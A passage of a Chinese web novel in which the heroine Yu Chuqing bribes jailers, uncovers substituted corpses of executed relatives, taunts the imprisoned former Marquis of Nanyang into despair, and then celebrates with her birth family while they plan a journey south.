说着便立即提着裙摆急匆匆下楼。 留在原地等,喻昔词肯定不可能,立即跟上了:“你要做什么,我与你同去!” “好。”喻初晴没反对。 她很快追上了刑狱的人,对领头的说道:“这位大人,请留步!” 对方认出了她:“见过永安县主!” “大人不必多礼。”喻初晴递出一锭银元宝,偏头看了一眼后方被草席裹住尸体的板车,道:“本想送他们最后一程的,不想我过来晚了。怎么说都曾经是我的二哥和弟弟,我能看他们最后一眼么?劳烦大人通融一二?” 本也不是什么大事,加上眼前这位是喻初晴——是名声超好的永安县主! 还有赏银可拿,何乐而不为? “县主大人请!” 喻初晴欠首表示感谢,转身走到板车前。 “县主,您看这个做甚呀?冲撞了您千金之躯!”守在尸体旁的差役掀开了草席。 一阵血腥恶臭扑面而来。 一般十多岁的少女见到这些,肯定要吓得腿软。 她不但没有,甚至还上前,摸了摸那三个头颅。 紧接着,又对三具尸体查看了一番。 弄得满手脏污,她也不嫌弃。 看完后,面露惆怅之色,道:“这是要送回桑家去吗?” “是的!”那领头的说道:“他们家中还有母亲,自当送回去。否则,就直接丢乱葬岗了!” 喻初晴沉吟片刻,忽然又拿出一锭银子:“侯夫人先前就为儿女操碎了心,难过不已。若再把身首异处的子女送回她面前,一下还送三个,怕她熬不过去。劳烦诸位帮忙送乱葬岗去,也不要随意抛弃,劳烦诸位辛苦一下,买口薄棺、再挖个坑把他们埋了,让他们入土为安,行么?” 竟然还有人会提出这种要求? 众人都看向她。 第144章 大哥,你疯了吗? 只见喻初晴眼眶有些湿润,道:“虽说他们一直在害我,但侯夫人毕竟养育我多年,我想给她留最后一分体面。还请各位大哥成全!” 她又递出了三锭银子:“如今桑家一盘散沙,各位把他们送回去,只怕没人管得了。辛劳各位,帮个忙!” 众人:“……” 他们也不想啊,但! 她给的实在是太多了! 连续递出六只元宝,便有六十两银子,像他们这些当差的,六十两银子要干多久啊! 他们是懂内行的:买口薄棺要不了多少银子,剩下的就都是他们的赏钱了! “县主也是一片孝心。”领头的说道:“您请放心,我们便按您说的办!” 喻初晴又道:“回头他们问起……” 不等她说完,那差役说道:“有人问起,便说永安县主好心,已经厚葬了这三个死刑犯!” 喻初晴当即躬身为礼:“那就多谢各位大哥了!” 差役连忙还礼,道:“县主客气了,为您做事,是我等荣幸!” 不是客套,是真荣幸。 他们早就听说永安县主大方,但凡能为她做事,得到的赏赐都会很丰厚。 别说帮她做事了,先前她在大门外发放绿豆汤、发红封,那出手也相当阔绰啊! 目送他们远去,合欢已经在一旁的小店内端水出来,给喻初晴洗手。 完事儿后,几人上了马车。 一直保持沉默的喻昔词,终于把疑问抛出来:“你是怀疑什么?发现了什么?” 喻初晴转头,对上喻昔词的双眸,一句话说破:“这仨儿,桑雪是真的。另外两个都不是本人,而是李代桃僵!” 喻昔词:“……” 合欢木棉都是震惊。 木棉问:“谁这么大胆,竟敢掉包死刑犯?” 喻初晴唇角缓缓勾起一抹冷笑:“是哪一路人马,不能确定。但,肯定跟太子敌对的人,是想要把帝京的水搅浑、好浑水摸鱼的人!” 合欢问:“可桑家这两兄弟,能搅浑什么水呢?他们还有什么利用价值吗?” “有!”喻初晴万分肯定地道:“穷凶则极恶。好比狗,越是蠢笨的狗子,越是凶狠。而他们已经穷途末路了,放出来就会逮谁咬谁!那些不方便上头的人出面的脏事儿,交给他们去做,正好!” 为啥不要桑雪? 很简单,桑雪的利用价值太低了。 哪怕心有仇恨,也干不成什么事! 木棉不解地问:“那……县主为何不揭穿他们?” “不要打草惊蛇,即便禀报上去了,也不见得查得到什么结果。”喻初晴道:“不如秘而不宣,等那些躲在阴沟里的臭老鼠再冒头,一举歼灭!” 喻昔词眼里全都是对妹妹的赞赏:“晴晴,依我看,回去祖籍后,我可跟祖父推荐,让你来做家族继承人!” “啊?”喻初晴一愣,猛地瞪大眼睛看他:“大哥,你疯了吗?” 历史上高位者都是争权夺势的,没见过几个谦让主位的! 喻昔词轻笑:“大哥是说真的,你有这个能力。而我认为,一族之长的位置,贤者居之。能引领全族走向兴盛发达者,合该坐上这个位置!” 喻初晴摇头:“算了,我没那心力。” 能力有多大,责任就有多大。 她只想偏安一隅,闷声S发大财,让她当上位者……她或许会有一瞬心动,但只要想想长远的麻烦,还是算了! 见她如此,喻昔词也只是笑了笑,没再就此事说什么。 历来这般,点到为止,是一个弹性很强的实干家! 他转移了话题:“你现在……要去哪儿?” “虽然这三个尸体都是假的。”喻初晴说道:“但既然没打算揭穿,我还是得去见一见桑文柏。” 最后一面,总是要见的。 她这个人不喜欢面对面硬打,而是喜欢记在小黑本上,暗戳戳报复。 最后,将对方踩在脚底下的时候,再来最后一招—— 杀人诛心! 现在,轮到桑文柏了! “现在就去么?”喻昔词提议:“还有点时间,办完了正好回家吃饭!” 喻初晴颔首:“现在就去,今日事、今日毕!” “走。”喻昔词撩开车帘,吩咐外头的车夫:“绕路,去京兆府大牢。” 桑文柏经过这么一段时间养伤,鞭伤早已经完全痊愈了。 经过了这番折磨,他整个人憔悴清瘦了不少。 到了一定年纪,再失去自由,人衰老得非常迅速。 家里没人拿钱来打点关系,他的夫人李氏,起初偶尔会命人送饭过来——但,也仅仅是送饭来,多余的没有。 用李氏的话说:我与你成婚二十余年,你对我动辄打骂,我没在这时候对你不管不顾,都已经是看在一日夫妻百日恩的份上了。如今侯府倒了,什么都没有了,你还想过以前的日子吗? 对此,桑文柏愤怒得很,臭骂了她一顿。 这下好了,为了不想挨骂,李氏只让人送饭来,自己就没来过。 他已经很久没见过任何一个家人了! 当然,桑文柏还不知道李氏嘴里说的“侯府倒了”意味着什么。 直到今日—— “人犯桑文柏,有人来探监!” 这个人竟然是喻初晴! 桑文柏一看见喻初晴,就愤怒得恨不能撕碎她:“你这个小贱蹄子,竟还敢出现在本侯面前?” “本侯?呵,容我提醒你一句,拜你的次子与你接回来的真嫡女所赐,南阳侯爵位已经被褫夺了!” 喻初晴一来就上重磅炸弹——他越在乎什么,她就先杀什么! 打架的时候,先踹对方的膝盖骨,让对方跪下。 对方跪下后,就可以按住对方的七寸,往死里打! 果然,桑文柏听得整个人都傻了,愣了半晌,才问:“你说什么?” “呀?”喻初晴眨了眨眼睛:“消息还没传到你这儿呢?” 她叹了一口气,道:“行吧,我做个好心人,把你家里的近况,一五一十地给你讲一遍,保证思路清晰、逻辑分明!” “不过……”她又来了个转折。 “别的容后再提,先说侯爵没了的事吧?” 她语气很平淡,语意却充满了嘲讽:“上回你受了庭杖,我去侯府探望你,是不是提醒过你——某一天,你会后悔当年那一哆嗦,没把她射在墙上!” “粗俗不堪!”桑文柏怒骂。 喻初晴不痛不痒,甚至还面带微笑。 “这不重要,重要的是……”她切入正题:“桑怀安与桑雪,两个傻叉算计太子,桑雪爬床太子进了太子府后,又爬床献身。担心怀不上孩子,桑怀安就给她找了个乡下男人,一百两银子买人家给桑雪播种!” 第145章 一刀接着一刀往他心口上戳 必须说,喻初晴这话真的…… 思路清晰、逻辑分明。 简简单单,就把事情概括完毕! 桑文柏听得双眸怒睁,猛地一拍大腿,怒道:“他们疯了吗!这是混淆皇家血脉,他们怎么敢的!” “嗯。怎么敢的,就要问他们的老子了,不是吗?上梁不正下梁歪嘛,你欺辱到我家门口的时候,不也没考虑过得罪太子么?”喻初晴颔首,面露嘲讽地道:“他们自己肯定也知道是死罪,却还是做了。没办法,太贪慕虚荣,迫切想要怀上皇孙,好稳固自己的地位。” 她嗤笑一声,道:“却没有想过,初一还没过呢,就直接奔十五去了。这想要一口吃撑的心思啊,最是要不得了!他们如此着急,会有什么下场,应该不用我说吧?” 桑文柏再蠢笨,做了这么多年的南阳侯,规矩他还是懂的! 他顾不得被喻初晴嘲笑,怔然道:“是皇上裁决的么?” “不错。”喻初晴也没让他猜,直接告诉他结果:“还有更令人发指的,在翰林院这约摸一年的时间里,桑怀安向上行贿,并且送的都是幼女娈童之类的。还有,他帮桑怀盛作弊进国子监一事。诸般种种,情节恶劣。” 她一摊手:“数罪并罚,判桑怀安、桑怀盛、桑雪三人,菜市口斩首示众,另褫夺南阳侯爵位!” 桑文柏好像被雷劈了,话都不会说了。 喻初晴微微一笑,对上牢栏内桑文柏不敢置信的双眼,道:“南阳侯最后一代,无法延续祖上荣光便罢了,还是以不体面的方式,把最后一段美梦弄丢了呢!就是不知道,你这到了下面之后,还有没有脸见桑家列祖列宗呢?祖上陪太祖皇帝出生入死创下的不世功劳,被你们这些不肖子孙嚯嚯,功勋不再、银钱全无、颜面尽失!!” 假如南阳侯在上一代和这一代争气一点,努力一点,脚踏实地一点,稍微做点什么立功,拿点亮眼的成绩出来。 退侯为伯,或给个别的封赏,还是有可能的。 奈何。 立功对他们来说,实在是太强人所难! 桑文柏无法接受这样的打击:“南阳侯爵位,没了……” “不仅如此。”喻初晴面色和缓,唇角含笑:“别着急,且听我慢慢为您说道说道!” 她调整了站姿,往左边踱步,开始讲述:“从上到下说起吧。” 第一刀砍在了桑文柏的膝盖上,让他站不起了。 之后每一刀,都可以慢慢戳。 “先说老太太。”喻初晴踱了一步,用非常遗憾的语气道:“为了给你求情,老夫人跑去找我麻烦,道德绑架我,企图让我帮忙把你弄出来。结果呢,我还没跟老太太谈妥呢,你那小儿子——桑怀盛来了。” “桑怀盛啊,他可太聪明了!为了害我,他竟然趁着老太太晕倒过去的时候,捂住了老太太的口鼻,将祖母给杀害了!” “当即被送进了大理寺监牢,不孝子孙,必死无疑!” “后面因为桑雪怀野种的事,作弊进国子监的事东窗事发。” 没有一件事,是单独走线的,全都是拧成一团,环环相扣。 想要理清楚,都还需要花费功夫。 桑文柏听说自己的母亲死了,就已经够难受了,然后再听说母亲是被自己的小儿子杀死的! 紧接着,小儿子被斩首了,就在今天! 这是一刀接着一刀往他心口上戳! 喻初晴这小贱人,她是懂什么叫杀人诛心的! 奈何,他还没消化这些事,喻初晴又道:“桑怀民呢,上次跟你一起被打入京兆府大牢后,某一日他怒愤之下将狱友杀害,被判发配西北!” “但是呢!他在前往西北的途中与人起了争执,用镣铐砸烂了同行另一个囚犯的脑袋。” “这不,他手上又多了一条人命!” “杀人之后,他还想要逃亡,被逮回来,在反抗的时候被打死了!” 她叹息一声,道:“我该说什么呢?他是真正的四肢发达、头脑简单啊。不管遇上什么事,用拳头解决问题,是最下乘的做法。不知道南阳侯……哦,桑大伯,你对我的说法认可吗?” 桑大伯。 这是在致敬桑雪! 当初桑雪回了南阳侯府之后,跟桑怀志来西市猪肉档找茬,再见到喻惊鸿,就是一口一个大伯,扎喻惊鸿的心。 即便桑文柏不会因此而扎心,也觉得这个叫法十分讽刺! 他已经没有侯爵的名头了,也不再是喻初晴的父亲,叫声桑大伯,已经是喻初晴能给他的最大体面。 当然,喻初晴还是奔着嘲讽他来的! “怀民他……”对于自己的第一个儿子,桑文柏曾经是充满期许的。 没想到!!! 年纪轻轻、二十出头,竟然会落得如此下场。 老父亲的心,疼啊! 喻初晴还是没给他消化的时间——毕竟她的时间很宝贵,赶紧说完赶紧走得了! 她继续道:“你的次子桑怀安的下场,刚才已经说了。三子桑怀志的腿断了,终生残废,你先前也晓得了。四子被斩首,女儿被斩首,这些都说过了。” 说到这里,喻初晴转身,往右边开始踱步。 她双手负在身后。 明明是在监牢的廊道上,大牢环境这么差,却似闲庭信步一般,悠闲自在。 明明给他说的都是人世间最悲惨的事,从她嘴里说出来却轻描淡写、风轻云淡! “如今,偌大的侯府已经只剩下你的夫人李氏,以及断了腿的桑怀志。” “哦,我还没告诉你,整个桑家,因为桑雪怀野种的事,落到什么下场呢!” 她回过身来,看着桑文柏,道:“当时皇上下旨的时候,我就在现场。我一字不落地,把皇上说的话转告给你听!” 喻初晴清了清嗓子,模仿起皇帝的语气,道:“南阳侯德行有亏、教子不严、纵子作恶多端,褫夺其侯爵之位。念其祖上于建朝有功,将满门抄斩宽大处理,桑家主支全部贬为庶民,流放三千里、永世不得归京!旁支,有官职者削官三级,无官者贬为庶民!” 开玩笑,她的记忆力超群,真能把皇帝说的话,一字不落地复述出来! 第146章 我喻初晴才是侯府大动脉! 听完,桑文柏僵住了。 完了! 彻底完了! 主支旁支全都受到了牵连,尤其是主支,再也没有翻身的可能! 喻初晴还要再给他扎一刀:“所以,你的夫人,与断腿的桑怀志,如今都是庶民,要跟你一起流放三千里了呢!” 当真是诛心之极! 桑文柏历来最在乎什么,全都被她紧紧拿捏,成了一把钝刀,狠狠地往他心口上扎。 一刀、又一刀! 偏偏,喻初晴还要告诉他:“这些,都是你把桑雪接回侯府后,发生的。我很好奇呀,你为了这么个败家真嫡女,把我这个能够养家糊口的假千金赶出侯府、甚至赶尽杀绝,你会后悔吗?” 桑文柏沉默。 后悔吗? 也许有吧! 他不敢细想。 她失笑,道:“其实啊,你赶走我,我是一点儿难过也没有的。毕竟我等着能够离开南阳侯府的恰当机会,甩掉你们这么多包袱,已经很久了!” “几年来,借着帮侯府打理庄子铺子的机会,我结识了很多有志之士、各行各业的人才。借着南阳侯府的屋檐,成立了自己的商行。多年后的今日,已经做大做强!” “你区区的南阳侯府,在我眼里,连个指甲盖都比不上!” “南阳侯府穷,我养着你们,真不费什么功夫,我给你们的一切,对我而言不过是手指缝里漏出来的一点东西,就像是施舍给路边的乞丐,我都能十两银子百两银子地给!” “但你们失去了我,却是顶梁柱坍塌,裁掉大动脉!” 说到这里,喻初晴笑出声来:“现在说这些,都没多大意义啦!” “因为我行事作风跟你们不成一路,所以你们个个埋怨我、记恨我,甚至恨不能我去死!” “赶走我,要我净身出户还不算,还要派死士去杀我!” “桑文柏,你的亲生女儿,确实比我这个养女要好呢!不会碍你们的事,尊重你们一家人齐齐整整下黄泉的愿望,将你们带飞。简直是棒棒哒!” “话说回来——” 在桑文柏无法消化、完全说不出话来的时候,喻初晴来了个转折:“你们都以为,离开侯府后我会穷困潦倒,跟我亲生父母一起过穷苦日子!” “可惜啊,你们搞错了一件事——因为有我,才有侯府的富贵,而不是因为侯府,我才能荣华!” “我喻初晴,才是南阳侯府的大动脉、顶梁柱!” 话到这里,她完全不管桑文柏是什么心情,正过身子,端端正正地行了个拜别礼,道:“过去一切恩怨情仇,到此结束。桑文柏,这一拜,是替那个你养了十多年的桑初晴拜的。喻初晴,不欠你任何,就此别过、后会无期!” 丢下这话,她不再浪费半点时间,转身就走。 挥一挥衣袖,不带走一片云彩! 她的话信息量实在太大,又密集又沉重,砸得桑文柏根本来不及反应。 在她走后,桑文柏一点一点地捋这复杂的毛线团。 他猛然想起来一个可能:“贱人,所以……这就是你对南阳侯府的报复?” 但! 说起来是喻初晴的报复,但他们桑家这些个人,也真的是愚蠢到了极点! 要是他们没被抓到把柄,甚至主动送菜上门,又怎么会一个个在她掌心里栽跟头呢? 说来说去,还是他的儿子女儿蠢材、不成器! 家破、人亡。 从侯爵,被贬为庶民,流放三千里! 桑怀民流放途中出了事被打死,难道他们流放途中就不会出事吗? 桑文柏这个人虽然不太聪明,但他毕竟年岁在这里摆着,听说的事还是挺多的。 只要喻初晴想要他们死,她完全可以在流放途中制造一些混乱。 历来,被流放的犯人,死了也就是死了,不会有任何人去查、去追究。 除非自己家族里有厉害的人物,一路追查、翻案。 否则,等待他们的只剩下灰暗无光的后半辈子! 流放途中要吃多少苦? 命大没死到了地头,不管是充军还是修筑城墙,都是苦力活。 他们能做? 他已经没有女儿,可他的兄弟有! 他兄弟的女儿遇上这些事,原本高高在上的千金小姐,成了庶民、又成了流放犯后…… 罪籍! 她们会落得什么好下场? 越想,桑文柏越觉得窒息。 一把年纪的、曾经自以为风光恣意的南阳侯,终于忍不住,趴在稻草堆里痛哭! 造孽啊! 他为什么要把喻初晴赶走,把桑雪接回来? 且不说桑雪是否是祸害,只说喻初晴这么有本事,他是怎么会瞎了眼完全没发现,竟丝毫没看出来,不仅把她给赶走了、还想杀了她呢? 当时他是猪油蒙了心吗! 喻初晴的那段话,来回反复地在他的脑海里回旋:“可惜你们搞错了一件事——因为有我,才有侯府的富贵,而不是因为侯府,我才能荣华!“ “可惜你们搞错了一件事——因为有我,才有侯府的富贵,而不是因为侯府,我才能荣华!” “可惜你们搞错了一件事——因为有我,才有侯府的富贵,而不是因为侯府,我才能荣华!” “我喻初晴,才是南阳侯府的大动脉!” 接二连三的噩耗冲撞,全部在他的脑海里结团。 母亲、夫人、四个儿子、一个女儿…… 因为他的错误判断,竟然没有一个有好下场! 不对,归根究底,错不在他们、不在喻初晴。 而是在他! 他怎么会看不出来,养女这样有本事呢? 当初听桑怀安的提议,把喻初晴送乡下去养着,将来需要联姻再把她嫁出去,不也挺好吗? 当然——他没想过,这只是他们一厢情愿的想法,喻初晴能接受吗? 但不管怎么说,那样的话,喻初晴至少不会报复桑家! 而事实—— 若是他们那么做了,喻家人就不会有任何踌躇,喻惊鸿肯定会直接去把喻初晴接回来! 他们当时知道桑雪是南阳侯府嫡女,而初晴是他们的亲生女儿时,是观望、是试探、是踟蹰…… 但,一时的裹足不前,不代表他们永远不会有所行动! 不过,这也是另外的说法了。 说回眼前—— 喻初晴回到县主府后,在用晚膳的时间里,收到了张太鑫命人送过来的消息: “原南阳侯桑文柏,在知晓了桑家现状之后,承受不了这样的结果,拿着裤腰带自缢而亡!” 第147章 为了取悦我自己 “什么!”喻今歌筷子都掉了:“那个南阳猴……这就死啦?” 喻惊鸿愣住。 白婉蓉夹菜的动作也是一顿:“怎么就……死了?” 桑雪被斩首,他们夫妻俩的心情都是不太好的。 再白眼狼,也是相处了很多年的人。 只要不是狼心狗肺的人,养了十七年真心相待的孩子死了,都难免会触景伤情。 要是一点儿感觉都没有,那才是畜生! 对此,喻初晴很是理解。 喻慕文虽然很清醒,却也很明白这些,所以今日留在家中陪着父母,哪儿也没去。 喻今歌说是要学习,但捧着药典,一个字都看不见脑子。 直到喻初晴与喻昔词回来了,一大家子连忙振作精神,不让喻初晴因为他们而有半点不舒服。 但喻初晴其实没那么小心眼。 此时,听说桑文柏的死讯,喻慕文第一时间看向喻初晴,道:“晴晴,他已经死了,你还有别的打算吗?” 喻初晴赞赏地眼神看向她三哥,道:“的确有。” 对于桑文柏的死,她没有丝毫动容。 因为,这本来就是她要的结果,走这一趟,本就是想杀人诛心,让桑文柏失去求生意志。 以免野火烧不尽,春风吹又生! 她没有隐瞒,直接告诉他们:“其他人我管不上,但我在桑家生活了那么多年,也不是没有一个人对我释放过善意的。旁支的也便罢了,主支这边有些叔父的女儿,以前帮衬过我。也有一两位婶子,照顾过我、帮助过我的……” “这类人,我决定在他们流放途中,想法子把他们捞出来。” “统一安置到偏远南方去,命人去给他们培养生存能力,让这些帮过我的无辜之人,能把后面的日子过好。” 在古代,犯了大罪全族遭殃,不是她一个穿越女能改变的。 她能做的,也仅仅如此。 “晴晴,你确定不会升米恩斗米仇?”喻慕文又问了一个核心问题:“这种事不得不防!” 喻初晴笑了下,道:“我委托江湖上的朋友去做,全程自己不出面。让他们认为自己是被侠义之士给救了,不会跟我有什么关系的。” “啊?”喻今歌讶然:“姐,那人家都不知是承你的恩情!” 喻初晴淡笑:“施恩莫忘报,做好事是为了取悦我自己,而不是想要别人记念我的恩情。我只做我想做的事,问心无愧就可以了。” “好一句做好事是为了取悦我自己!”喻昔词第一个表达赞赏,举起酒杯,道:“晴晴的胸襟格局,当真是大哥拍马难追的存在!大哥敬你一杯,谢你教会我一个新的道理!” 喻慕文也笑,道:“晴晴的心性,当世少见。这样好的姑娘,竟然是我们的妹妹,荣幸之至。三哥也敬你一杯,感恩你回来做我们的妹妹!” “还有我还有我!”喻今歌也把酒杯举起来:“我姐是我顶礼膜拜毕生的信仰!” 喻初晴失笑:“夸张了啊!” 气氛也就活络起来了。 喻惊鸿和白婉蓉略微堵塞的心情,也被治愈。 晴晴啊,他们何德何能,能半道上捡回来这样好的亲生女儿? 他们实在是亏欠她良多。 不曾养育过她,不曾给过她什么。她却毫无怨言,还对家里人那么好,面面俱到。 以后的每一天,都要加倍对她好,补偿她过去缺失的十几年宠爱才行! 爱是常觉亏欠。 觉得自己欠了对方很多,就是爱的开始。 当然,喻初晴不知道他们心里在想什么,喝了杯中酒,道:“南阳侯府不存在了,桑家完了。但这府邸,我还是想拿过来,这应该是我的战利品!明日,我去一趟侯府!” 喻昔词还是那句:“我陪你去。” “好。”喻初晴自不会反对:“谢谢大哥。” “兄妹之间,不谢。”喻昔词笑着,转头问喻慕文:“你跟国子监告假了么?” “是,我已经跟两位老师告假,明日起我就不去国子监了。老师的意思是,希望我明年春试之前回来。”喻慕文在自己的大哥面前,一向贼老实。 二哥喻尚武特别怕大哥说教,跟和尚念经一样,他听不了一点。 主要也赖他自己无心读书,一心练武。 而喻慕文则是觉得,大哥的一双眼睛仿佛能看透任何东西,能直视他的内心,自己心里想什么完全逃不过大哥的眼睛,所以他也尽可能不想跟大哥对视。 若让喻初晴来形容,就是:大哥有一双探照灯的眼睛,X光射线! 喻昔词见他回避自己的眼神,也是无奈。 就这三弟八百个心眼都隐藏着,戴着佛珠也是为了隐藏戾气与杀心,他早看穿了。 只不过,反正喻慕文自己也清楚,这些年都压制得很好,随着年龄增长,不会出什么事,他也不会多嘴说喻慕文什么了。 喻昔词转移话题:“既如此,你们的行李都收拾完了么?” “我收拾好了!”喻今歌第一个举手:“随时可以出发!” 喻惊鸿也道:“我和你娘的,也都收拾好了。这阵子,我做了两辆装满了机关暗器的马车。南下的时候,晴晴和你们的娘,一人一辆,保证安全!” 自从入住县主府,不当屠夫之后,时间可太多了,他便投身在制作那些机关暗器上了。 当年就是因为他沉迷于这些,被父亲骂玩物丧志,这才是不让他继承家业的的核心原因! 当然,另一半原因是坚持娶白婉蓉。 “真的啊!”喻初晴很是欣喜:“谢谢爹!” 白婉蓉则是用满天星光一样的惊喜眼神,看向自己的丈夫,道:“哇,相公你先前怎么不告诉我?怪不得这阵子神神秘秘的,原来是要给我一个惊喜!你真的是太棒了!” 情绪价值满满。 喻惊鸿自然是很受用:“无事,也是做点小玩意儿,不费什么功夫。你和晴晴的安全,是最重要的!” 喻今歌恨恨地戳着碗里的饭,撇嘴小声叨叨:“我就不值得保护呗!” 话音一落,得到喻惊鸿一个冷瞪。 “怎么,男子汉大丈夫,不想着好好习武、拥有自保能力,你还想等着谁保护你?将来你娶妻生子,难不成让你妻儿保护你?还要不要脸了!” ——头晕目眩撑不住了,早上再补一更。 第148章 喻惊鸿对儿子,完全没有对妻子女儿的温柔,一张口就是一顿炮轰。 “爹啊!我也没干啥啊。”喻今歌无语望天,旋即想到:我姐家庭帝位,大哥都得靠边,赶紧找她呀! 当即转头看向喻初晴,气鼓鼓地告状:“姐,我就说了一句话,爹骂了我那么多!你评评理,这合适吗?” 面对弟弟殷切的目光、撒娇的语气,喻初晴慈姐的心顿时浮起,转头看向喻惊鸿:“爹……” “晴晴,你别替他说话!”喻惊鸿抢先堵上喻初晴的嘴:“他都十三了!是时候承担起保护家人的责任了!” 喻初晴:“……” 喻今歌绝望地道:“我六岁的时候,爹就说:你都六岁了,有灶台高了,是时候承担一家人的饭食了!我十岁的时候,爹就说:你都十岁了,是时候照顾好你娘和你姐了!十三岁,就是时候承担保护全家人的责任了,是吗?” 闻言,喻初晴没忍住笑了出来。 小弟真可怜啊! 同情小弟三秒,剩下的五十七秒用来哈哈大笑。 不过,她还是安慰说道:“小弟厉害得很,你看桑家那群玩意儿,别说小的比不上你,连老的都比不上!从桑文柏是怎么对他夫人的,可见一斑!” “那倒是!”喻今歌虽然像个小炮仗,但真的很好哄。 说来说去,还是吃了没见过世面的亏。 但凡有个小学文凭,都不能这么好忽悠。 不过,话说回来,喻惊鸿对儿子的教养是完全没问题的。 男子汉大丈夫,顶天立地,保护身边的弱小是刻印在骨血里的。 是真正的大男子主义,而不是桑文柏那种得了屌癌的大男子。 而喻惊鸿对儿子的严厉,也并非过分苛刻,不是有可能会引发黑化的那种。 多子女家庭,最怕一碗水端不平。 但,十指伸出有长短,手心手背肉多肉少,是避免不了的。 那么,这就需要做父母的懂得如何平衡子女之间的关系。 可有一点,喻初晴是帮喻今歌说话的:“爹,你也对小弟宽容些。毕竟他小小年纪,就已经照顾了桑雪那么多年,没有功劳也有苦劳,不是吗?” 要不怎么说,喻初晴深谙讲话的艺术呢? 她不说:爹你对小儿子太狠了,要不是个单纯好哄的,青春叛逆一来,干出什么事来你可驾驭不了! 她提桑雪。 桑雪对喻惊鸿来说,毕竟是痛心的存在。尤其是今天,桑雪被斩首了,大家心里都有些堵。 说起桑雪,难免想到全家对桑雪的付出,不说要求回报,她竟还一而再地谋害晴晴! 这么一对比,喻今歌真的是太好了! “晴晴说得对!”白婉蓉立刻站在喻初晴的说法,道:“今歌,咱们回去的路上,你就跟娘一块儿坐马车!” 喻今歌:“……”我姐好厉害! 但他果断拒绝:“不,我想跟我姐一块儿坐!” 开玩笑,跟爹娘坐一辆马车??? 一天十二时辰看着他们俩腻腻歪歪吗? 在所有人要反对的时候,他又说了句:“我姐刚好可以在路上考我,验收这阵子我刻苦学习的成果!” 很好,无人反对了。 喻家人,真卷王! 喻昔词喜欢念叨尚武慕文,对小弟还是挺宽容的。 主要是,小弟真的很勤快,像只勤劳的小蜜蜂,年纪小小家务活一把罩,也没耽误读书习武! 而且,爹已经各种压制小弟了,当大哥的完全可以闭嘴。 但,大哥还是大哥,长兄如父,他果断做决定:“在晴晴休息好的前提下,你可以跟她一块儿坐马车。但你已经十三了,咱们以前没机会让你练骑射,正好这几个月回祖籍,这一路上我教你入门。” 喻今歌瞪眼:天塌了,真的! 他果断拉人下水:“三哥骑射不也是没有精通吗?” 喻慕文一顿,头一转,佛珠便敲到了弟弟的脑门上。 但,并无卵用。 喻昔词治他的话,虽迟但到:“慕文也要练。虽说你下盘已经很稳了,但平时念书时间过长,疏于练习很不好。正好这段时日,恶补一下。咱们喻家的男儿,不说什么文武全才,至少保护自己、保护家人的能力是必须有的。除了娘,还有妹妹需要保护……” “我知道了大哥,我会加强练习骑射的!”喻慕文果断答应下来,打断施法。 真的,头痛! 喻初晴总算是明白,为何当初一说大哥要回来,喻慕文就要去国子监住、喻尚武就要去东宫当差,能不回来就不回来! 果然会碎碎念啊。 三哥的佛珠已经捻得很快了! 那她就很好奇了,问:“大哥,若是二哥也在,你要怎么说他?” “他自然是得恶补诗词歌赋!”喻昔词绷着一张脸,道:“他太偏好练武,一躲深山老林里就待几个月,疏于读书,所以才会这么笨!噢,他也不是笨,完全就是懒得动脑,因为读书太少,思路不开阔、想得少!” 喻初晴:“……” 有一说一,二哥虽然智商不高,但他的确不算笨。 就是个正常人吧,扔到现代大学里,妥妥的名牌体大185男大体育生,还是长得超美丽那种! 但,放在一家子多智如妖的人面前,他的确是聪明得不出色、智商有得不明显! 但,尺有所长,寸有所短,她大哥对他们要求竟然是全能!!! “那大哥怎么不觉得我需要学什么?”喻初晴好奇地问。 喻昔词瞧了她一眼,脱口而出:“晴晴已经足够完美了,没有必要说你。” 滤镜怕是有十米厚! 但,话不是他一个人在说,喻慕文也道:“是的,晴晴不但智勇双全、文武全才,经商手段也是一流,还人情世故通达。简直是万能的!” 喻今歌下巴一扬,傲娇地道:“那肯定,是我姐呀!” 白婉蓉点头:“晴晴非常好。” 喻惊鸿更是给喻初晴布菜:“晴晴才是咱们家的一家之主,全能的闺女!” “不是……”喻初晴被捧上天,却没有飘飘然,无奈的地道:“我是一家之主,把大哥放何处?” 喻惊鸿睨了一眼虎背熊腰的大儿子,道:“他是家族继承人,那是在家族。进了咱们小家的门,管他是谁,一律都得听晴晴的!” 喻昔词哭笑不得,却是同意了:“我看行。” 毕竟他都想把继承人位置让给妹妹来着! 大家都哈哈大笑起来。 趁着这个和乐融融的时候,喻初晴将话题转移:“对了大哥,我们南下,总不能不带二哥吧?我们是不是从那儿过,看看情势。若是方便,便让二哥跟咱们一块儿走!” ——补更啦 第149章 不如她来做这个拆弹专家 之所以要提到这个,主要是因为,所有的路线都是喻昔词定好的。 喻初晴不能肯定,他选择的路线一定会经过目前的战区。安全起见,正常选择都会绕开混乱区域,免得飞来横祸。 所以,她拿喻尚武出来做幌子。 喻今歌是她的脑残粉,自然是第一个表示同意:“是啊大哥,咱们都回祖籍了,总不能独留二哥一个人不带回去吧?那二哥岂不是太可怜了吗?” 喻慕文也是赞同的,为他孪生哥哥说公道话:“二哥也是很想回去的。他那个性子,如果没得回去,怕是会难过得偷偷哭。” 表面上最凶的喻尚武,全家脾气最好。 小时候就试过,他一个人躲在山里练武,一家人去赶集没带他,回来后家里空无一人…… 感觉被抛弃了! 孪生兄弟俩睡一个屋,夜里听到喻尚武的哭声,把他给吓到了! 闻言,喻惊鸿和白婉蓉都看向喻昔词。 白婉蓉说道:“是哦,老大你可有把尚武算进去,咱们好不容易一家子团聚,要带晴晴和今歌回去认祖归宗的,可不能把尚武给漏了!” 若是喻惊鸿说的,喻昔词兴许还有讨价还价空间。 但话是母亲大人说的,他便只能道:“娘你放心,以目前的战局来看,除非出海,不然我们不可能避得开。毕竟,要渡河,而目前整个夏河河道,几乎都被封锁了。” 白婉蓉便没什么好说的了:“那就好。” 喻惊鸿则是道:“安全是要摆在第一位的,响马盗名声太响亮,但愿太子亲征能早点平定,免得百姓受苦。” 战争,最苦的还是百姓。 应该说,任何时候,苦的都是底层人民。 兴,百姓苦; 亡,百姓苦! 听了喻惊鸿的话,喻初晴心神微微一动。 随着与喻家人相处日益加深,她的很多猜测,都指向同一个方向。 很快,就能解开谜底了! 用过饭后,喻初晴散步回自己的院子,喻昔词在后方跟了上来。 “晴晴是故意提起尚武的?” 语气是疑问句,但话里的意思,却是肯定句。 跟聪明人说话,兜圈子完全没必要,喻初晴颔首:“不错!” 喻昔词挑眉,问:“理由?” 喻初晴笑了下,眨了眨眼睛,道:“大哥不妨猜猜看?” “你不会是想去帮太子吧?”喻昔词还真甩出一个猜测。 只能说,他这个想法,也算是很相近了。 